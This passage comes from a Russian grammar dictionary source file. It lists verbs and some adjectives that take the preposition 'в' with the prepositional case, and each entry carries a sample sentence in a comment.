rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ)
rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ)
rus_verbs:ЗАМАЯЧИТЬ{},
rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ)
rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ)
rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ)
rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ)
rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ)
rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ)
rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ)
rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ)
rus_verbs:ПоТЕРЯТЬ{},
rus_verbs:УТЕРЯТЬ{},
rus_verbs:РАСТЕРЯТЬ{},
rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.)
rus_verbs:СОМКНУТЬСЯ{},
rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ)
rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ)
rus_verbs:ВЫСТОЯТЬ{},
rus_verbs:ПОСТОЯТЬ{},
rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ)
rus_verbs:ВЗВЕШИВАТЬ{},
rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ)
прилагательное:быстрый{}, // Кисель быстр в приготовлении
rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень
rus_verbs:призывать{},
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ)
rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ)
rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ)
rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ)
rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ)
rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ)
rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ)
rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ)
rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ)
rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ)
rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ)
rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения
rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ)
rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ)
rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ)
rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ)
rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ)
rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ)
rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ)
rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ)
rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ)
rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ)
rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ)
rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА
rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ)
rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ)
rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ)
rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ)
rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ)
rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль
rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение
rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ)
инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан
глагол:проводить{ вид:несоверш },
деепричастие:проводя{},
rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала
rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл)
rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл)
rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл)
rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл)
rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл)
rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл)
rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл)
rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл)
rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл)
rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл)
rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл)
rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл)
rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл)
rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл)
прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В)
rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл)
rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл)
rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл)
rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл)
rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл)
rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл)
rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл)
rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл)
rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В)
rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В)
rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл)
rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В)
rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл)
rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл)
rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В)
rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл)
rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл)
rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В)
rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл)
rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В)
rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В)
rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В)
rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В)
rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл)
rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В)
частица:нет{}, // В этом нет сомнения.
частица:нету{}, // В этом нету сомнения.
rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем
rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов.
прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В)
rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В)
rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В)
rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В)
rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл)
rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В)
rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в)
rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В)
rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В)
rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В)
rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В)
rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В)
rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В)
rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В)
rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В)
rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В)
rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В)
rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В)
rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В)
rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В)
rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:РАСКЛАДЫВАТЬСЯ{},
rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В)
rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В)
rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В)
rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В)
rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл)
rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В)
rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В)
инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В)
глагол:НАПИСАТЬ{ aux stress="напис^ать" },
прилагательное:НАПИСАННЫЙ{},
rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В)
rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В)
rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В)
rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В)
rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В)
rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В)
rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл)
rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл)
rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В)
безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в)
rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В)
rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В)
rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В)
rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В)
rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В)
rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В)
rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В)
rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В)
rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В)
rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В)
rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В)
rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В)
rus_verbs:объявить{}, // В газете объявили о конкурсе.
rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В)
rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В)
rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в)
rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в)
rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в)
rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в)
инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В)
глагол:ПАРИТЬ{ aux stress="пар^ить"},
деепричастие:паря{ aux stress="пар^я" },
прилагательное:ПАРЯЩИЙ{},
прилагательное:ПАРИВШИЙ{},
rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В)
rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В)
rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в)
rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В)
rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В)
rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В)
rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В)
rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В)
rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В)
rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в)
rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в)
rus_verbs:принять{}, // Документ принят в следующей редакции (принять в)
rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в)
rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В)
rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в)
rus_verbs:звучать{}, // в доме звучала музыка (звучать в)
rus_verbs:колебаться{}, // колеблется в выборе (колебаться в)
rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в)
rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в)
rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в)
rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в)
rus_verbs:вычитывать{}, // вычитывать в книге
rus_verbs:гудеть{}, // У него в ушах гудит.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки.
rus_verbs:разойтись{}, // Они разошлись в темноте.
rus_verbs:прибежать{}, // Мальчик прибежал в слезах.
rus_verbs:биться{}, // Она билась в истерике.
rus_verbs:регистрироваться{}, // регистрироваться в системе
rus_verbs:считать{}, // я буду считать в уме
rus_verbs:трахаться{}, // трахаться в гамаке
rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке
rus_verbs:разрушать{}, // разрушать в дробилке
rus_verbs:засидеться{}, // засидеться в гостях
rus_verbs:засиживаться{}, // засиживаться в гостях
rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке)
rus_verbs:навестить{}, // навестить в доме престарелых
rus_verbs:запомнить{}, // запомнить в кэше
rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.)
rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка)
rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику.
rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.)
rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу
rus_verbs:оглядываться{}, // оглядываться в зеркале
rus_verbs:нарисовать{}, // нарисовать в тетрадке
rus_verbs:пробить{}, // пробить отверствие в стене
rus_verbs:повертеть{}, // повертеть в руке
rus_verbs:вертеть{}, // Я вертел в руках
rus_verbs:рваться{}, // Веревка рвется в месте надреза
rus_verbs:распространяться{}, // распространяться в среде наркоманов
rus_verbs:попрощаться{}, // попрощаться в здании морга
rus_verbs:соображать{}, // соображать в уме
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати
rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот)
rus_verbs:разобрать{}, // разобрать в гараже
rus_verbs:помереть{}, // помереть в пути
rus_verbs:различить{}, // различить в темноте
rus_verbs:рисовать{}, // рисовать в графическом редакторе
rus_verbs:проследить{}, // проследить в записях камер слежения
rus_verbs:совершаться{}, // Правосудие совершается в суде
rus_verbs:задремать{}, // задремать в кровати
rus_verbs:ругаться{}, // ругаться в комнате
rus_verbs:зазвучать{}, // зазвучать в радиоприемниках
rus_verbs:задохнуться{}, // задохнуться в воде
rus_verbs:порождать{}, // порождать в неокрепших умах
rus_verbs:отдыхать{}, // отдыхать в санатории
rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении
rus_verbs:образовать{}, // образовать в пробирке темную взвесь
rus_verbs:отмечать{}, // отмечать в списке
rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте
rus_verbs:плясать{}, // плясать в откружении незнакомых людей
rus_verbs:повысить{}, // повысить в звании
rus_verbs:поджидать{}, // поджидать в подъезде
rus_verbs:отказать{}, // отказать в пересмотре дела
rus_verbs:раствориться{}, // раствориться в бензине
rus_verbs:отражать{}, // отражать в стихах
rus_verbs:дремать{}, // дремать в гамаке
rus_verbs:применяться{}, // применяться в домашних условиях
rus_verbs:присниться{}, // присниться во сне
rus_verbs:трястись{}, // трястись в драндулете
rus_verbs:сохранять{}, // сохранять в неприкосновенности
rus_verbs:расстрелять{}, // расстрелять в ложбине
rus_verbs:рассчитать{}, // рассчитать в программе
rus_verbs:перебирать{}, // перебирать в руке
rus_verbs:разбиться{}, // разбиться в аварии
rus_verbs:поискать{}, // поискать в углу
rus_verbs:мучиться{}, // мучиться в тесной клетке
rus_verbs:замелькать{}, // замелькать в телевизоре
rus_verbs:грустить{}, // грустить в одиночестве
rus_verbs:крутить{}, // крутить в банке
rus_verbs:объявиться{}, // объявиться в городе
rus_verbs:подготовить{}, // подготовить в тайне
rus_verbs:различать{}, // различать в смеси
rus_verbs:обнаруживать{}, // обнаруживать в крови
rus_verbs:киснуть{}, // киснуть в захолустье
rus_verbs:оборваться{}, // оборваться в начале фразы
rus_verbs:запутаться{}, // запутаться в веревках
rus_verbs:общаться{}, // общаться в интимной обстановке
rus_verbs:сочинить{}, // сочинить в ресторане
rus_verbs:изобрести{}, // изобрести в домашней лаборатории
rus_verbs:прокомментировать{}, // прокомментировать в своем блоге
rus_verbs:давить{}, // давить в зародыше
rus_verbs:повториться{}, // повториться в новом обличье
rus_verbs:отставать{}, // отставать в общем зачете
rus_verbs:разработать{}, // разработать в лаборатории
rus_verbs:качать{}, // качать в кроватке
rus_verbs:заменить{}, // заменить в двигателе
rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере
rus_verbs:забегать{}, // забегать в спешке
rus_verbs:наделать{}, // наделать в решении ошибок
rus_verbs:исказиться{}, // исказиться в кривом зеркале
rus_verbs:тушить{}, // тушить в помещении пожар
rus_verbs:охранять{}, // охранять в здании входы
rus_verbs:приметить{}, // приметить в кустах
rus_verbs:скрыть{}, // скрыть в складках одежды
rus_verbs:удерживать{}, // удерживать в заложниках
rus_verbs:увеличиваться{}, // увеличиваться в размере
rus_verbs:красоваться{}, // красоваться в новом платье
rus_verbs:сохраниться{}, // сохраниться в тепле
rus_verbs:лечить{}, // лечить в стационаре
rus_verbs:смешаться{}, // смешаться в баке
rus_verbs:прокатиться{}, // прокатиться в троллейбусе
rus_verbs:договариваться{}, // договариваться в закрытом кабинете
rus_verbs:опубликовать{}, // опубликовать в официальном блоге
rus_verbs:охотиться{}, // охотиться в прериях
rus_verbs:отражаться{}, // отражаться в окне
rus_verbs:понизить{}, // понизить в должности
rus_verbs:обедать{}, // обедать в ресторане
rus_verbs:посидеть{}, // посидеть в тени
rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете
rus_verbs:свершиться{}, // свершиться в суде
rus_verbs:ночевать{}, // ночевать в гостинице
rus_verbs:темнеть{}, // темнеть в воде
rus_verbs:гибнуть{}, // гибнуть в застенках
rus_verbs:усиливаться{}, // усиливаться в направлении главного удара
rus_verbs:расплыться{}, // расплыться в улыбке
rus_verbs:превышать{}, // превышать в несколько раз
rus_verbs:проживать{}, // проживать в отдельной коморке
rus_verbs:голубеть{}, // голубеть в тепле
rus_verbs:исследовать{}, // исследовать в естественных условиях
rus_verbs:обитать{}, // обитать в лесу
rus_verbs:скучать{}, // скучать в одиночестве
rus_verbs:сталкиваться{}, // сталкиваться в воздухе
rus_verbs:таиться{}, // таиться в глубине
rus_verbs:спасать{}, // спасать в море
rus_verbs:заблудиться{}, // заблудиться в лесу
rus_verbs:создаться{}, // создаться в новом виде
rus_verbs:пошарить{}, // пошарить в кармане
rus_verbs:планировать{}, // планировать в программе
rus_verbs:отбить{}, // отбить в нижней части
rus_verbs:отрицать{}, // отрицать в суде свою вину
rus_verbs:основать{}, // основать в пустыне новый город
rus_verbs:двоить{}, // двоить в глазах
rus_verbs:устоять{}, // устоять в лодке
rus_verbs:унять{}, // унять в ногах дрожь
rus_verbs:отзываться{}, // отзываться в обзоре
rus_verbs:притормозить{}, // притормозить в траве
rus_verbs:читаться{}, // читаться в глазах
rus_verbs:житься{}, // житься в деревне
